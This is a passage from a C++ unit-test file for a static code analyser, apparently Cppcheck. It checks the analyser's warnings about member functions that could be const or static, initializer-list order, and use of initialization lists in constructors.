s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement array element => not const\n void constincdecarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassignarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n // return pointer/reference => not const\n void constReturnReference() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int &getR() { return a; }\\n\"\n \" int *getP() { return &a; }\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // delete member variable => not const (but technically it can, it compiles without errors)\n void constDelete() {\n checkConst(\"class Fred {\\n\"\n \" int *a;\\n\"\n \" void clean() { delete a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // A function that returns unknown types can't be const (#1579)\n void constLPVOID() {\n checkConst(\"class Fred {\\n\"\n \" UNKNOWN a() { return 0; };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (performance, inconclusive) Technically the member function 'Fred::a' can be static.\\n\", \"\", errout_str());\n\n // #1579 - HDC\n checkConst(\"class Fred {\\n\"\n \" foo bar;\\n\"\n \" UNKNOWN a() { return b; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // a function that calls const functions can be const\n void constFunc() {\n checkConst(\"class Fred {\\n\"\n \" void f() const { };\\n\"\n \" void a() { f(); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::a' can be const. [functionConst]\\n\", errout_str());\n\n // ticket #1593\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" unsigned int GetVecSize() {return m_v.size();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (style, inconclusive) Technically the member function 'A::GetVecSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" bool GetVecEmpty() {return m_v.empty();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style, inconclusive) Technically the member function 'A::GetVecEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constVirtualFunc() {\n // base class has no virtual function\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8] -> [test.cpp:8:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:9:9] -> [test.cpp:11:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func() = 0;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #1311\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX() { return x; }\\n\"\n \"};\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY() { return y; }\\n\"\n \"};\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ() { return z; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX();\\n\"\n \"};\\n\"\n \"int X::getX() { return x; }\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY();\\n\"\n \"};\\n\"\n \"int Y::getY() { return y; }\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ();\\n\"\n \"};\\n\"\n \"int Z::getZ() { return z; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constIfCfg() {\n const char code[] = \"struct foo {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n //\"#ifdef ABC\\n\"\n //\" i = 4;\\n\"\n //\"endif\\n\"\n \" }\\n\"\n \"};\";\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'foo::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = false)); // TODO: Set inconclusive to true (preprocess it)\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constFriend() { // ticket #1921\n const char code[] = \"class foo {\\n\"\n \" friend void f() { }\\n\"\n \"};\";\n checkConst(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constUnion() { // ticket #2111\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" union {\\n\"\n \" int i;\\n\"\n \" float f;\\n\"\n \" } d;\\n\"\n \" void setf(float x) {\\n\"\n \" d.f = x;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constArrayOperator() {\n checkConst(\"struct foo {\\n\"\n \" int x;\\n\"\n \" int y[5][724];\\n\"\n \" T a() {\\n\"\n \" return y[x++][6];\\n\"\n \" }\\n\"\n \" T b() {\\n\"\n \" return y[1][++x];\\n\"\n \" }\\n\"\n \" T c() {\\n\"\n \" return y[1][6];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:7]: (style, inconclusive) Technically the member function 'foo::c' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constRangeBasedFor() { // #5514\n checkConst(\"class Fred {\\n\"\n \" int array[256];\\n\"\n \"public:\\n\"\n \" void f1() {\\n\"\n \" for (auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" for (const auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f3() {\\n\"\n \" for (decltype(auto) e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'Fred::f2' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const_shared_ptr() { // #8674\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::shared_ptr getData();\\n\"\n \"private:\\n\"\n \" std::shared_ptr data;\\n\"\n \"};\\n\"\n \"\\n\"\n \"std::shared_ptr Fred::getData() { return data; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constPtrToConstPtr() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const char *const *data;\\n\"\n \" const char *const *getData() { return data; }\\n}\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (style, inconclusive) Technically the member function 'Fred::getData' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constTrailingReturnType() { // #9814\n checkConst(\"struct A {\\n\"\n \" int x = 1;\\n\"\n \" auto get() -> int & { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constRefQualified() { // #12920\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const Data& get() & { return data; }\\n\"\n \"private:\\n\"\n \" Data data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void staticArrayPtrOverload() {\n checkConst(\"struct S {\\n\"\n \" template\\n\"\n \" void f(const std::array& sv);\\n\"\n \" template\\n\"\n \" void f(const char* const (&StrArr)[N]);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"void S::f(const std::array& sv) {\\n\"\n \" const char* ptrs[N]{};\\n\"\n \" return f(ptrs);\\n\"\n \"}\\n\"\n \"template void S::f(const std::array& sv);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void qualifiedNameMember() { // #10872\n const Settings s = settingsBuilder().severity(Severity::style).debugwarnings().library(\"std.cfg\").build();\n checkConst(\"struct data {};\\n\"\n \" struct S {\\n\"\n \" std::vector std;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector::const_iterator end = std.end();\\n\"\n \"}\\n\", dinit(CheckConstOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:6:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n#define checkInitializerListOrder(...) checkInitializerListOrder_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializerListOrder_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings2, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings2, this);\n checkClass.initializerListOrder();\n }\n\n void initializerListOrder() {\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c(0), b(0), a(0) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c{0}, b{0}, a{0} { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : b(a = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" int nCols() const;\\n\"\n \" int nRows() const;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" const char* m_name;\\n\"\n \" int nCols;\\n\"\n \" int nRows;\\n\"\n \" B(const char* p_name, int nR, int nC)\\n\"\n \" : m_name(p_name)\\n\"\n \" , nCols(nC)\\n\"\n \" , nRows(nR)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"struct D : public B {\\n\"\n \" const int m_i;\\n\"\n \" D(const S& s, int _i)\\n\"\n \" : B(\\\"abc\\\", s.nRows(), s.nCols())\\n\"\n \" , m_i(_i)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void initializerListArgument() {\n checkInitializerListOrder(\"struct A { A(); };\\n\" // #12322\n \"struct B { explicit B(const A* a); };\\n\"\n \"struct C {\\n\"\n \" C() : b(&a) {}\\n\"\n \" B b;\\n\"\n \" const A a;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:11] -> [test.cpp:5:7]: (style, inconclusive) Member variable 'C::b' uses an uninitialized argument 'a' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(const std::string& f, std::string i, int b, int c) : a(0), b(b), c(c) {}\\n\"\n \" int a, b, c;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(a) {}\\n\"\n \" int* p;\\n\"\n \" int a[1];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(&i) {}\\n\"\n \" int* p;\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(b = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : r(i) {}\\n\"\n \" int& r;\\n\"\n \" int i{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct B {\\n\"\n \" int a{}, b{};\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" D() : B(), j(b) {}\\n\"\n \" int j;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(i) {}\\n\"\n \" int a;\\n\"\n \" static int i;\\n\"\n \"};\\n\"\n \"int S::i = 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(int b) : a(b) {}\\n\"\n \" int a, b{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"class Foo {\\n\" // #3524\n \"public:\\n\"\n \" Foo(int arg) : a(b), b(arg) {}\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20] -> [test.cpp:4:9]: (style, inconclusive) Member variable 'Foo::a' uses an uninitialized argument 'b' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S { double d = 0; };\\n\" // #12730\n \"struct T {\\n\"\n \" T() : s(), a(s.d), d(0) {}\\n\"\n \" S s;\\n\"\n \" double a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S { static const int d = 1; };\\n\"\n \"struct T {\\n\"\n \" T() : s(), a(S::d), d(0) {}\\n\"\n \" S s;\\n\"\n \" int a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInitializationListUsage(...) checkInitializationListUsage_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializationListUsage_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::performance).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.initializationListUsage();\n }\n\n void initializerListUsage() {\n checkInitializationListUsage(\"enum Enum { C = 0 };\\n\"\n \"class Fred {\\n\"\n \" int a;\\n\" // No message for builtin types: No performance gain\n \" int* b;\\n\" // No message for pointers: No performance gain\n \" Enum c;\\n\" // No message for enums: No performance gain\n \" Fred() { a = 0; b = 0; c = C; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { a = 0; s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:21]: (performance) Variable 's' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string& s;\\n\" // Message is invalid for references, since their initialization in initializer list is required anyway and behaves different from assignment (#5004)\n \" Fred(const std::string& s_) : s(s_) { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::vector v;\\n\"\n \" Fred() { v = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'v' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C { std::string s; };\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred 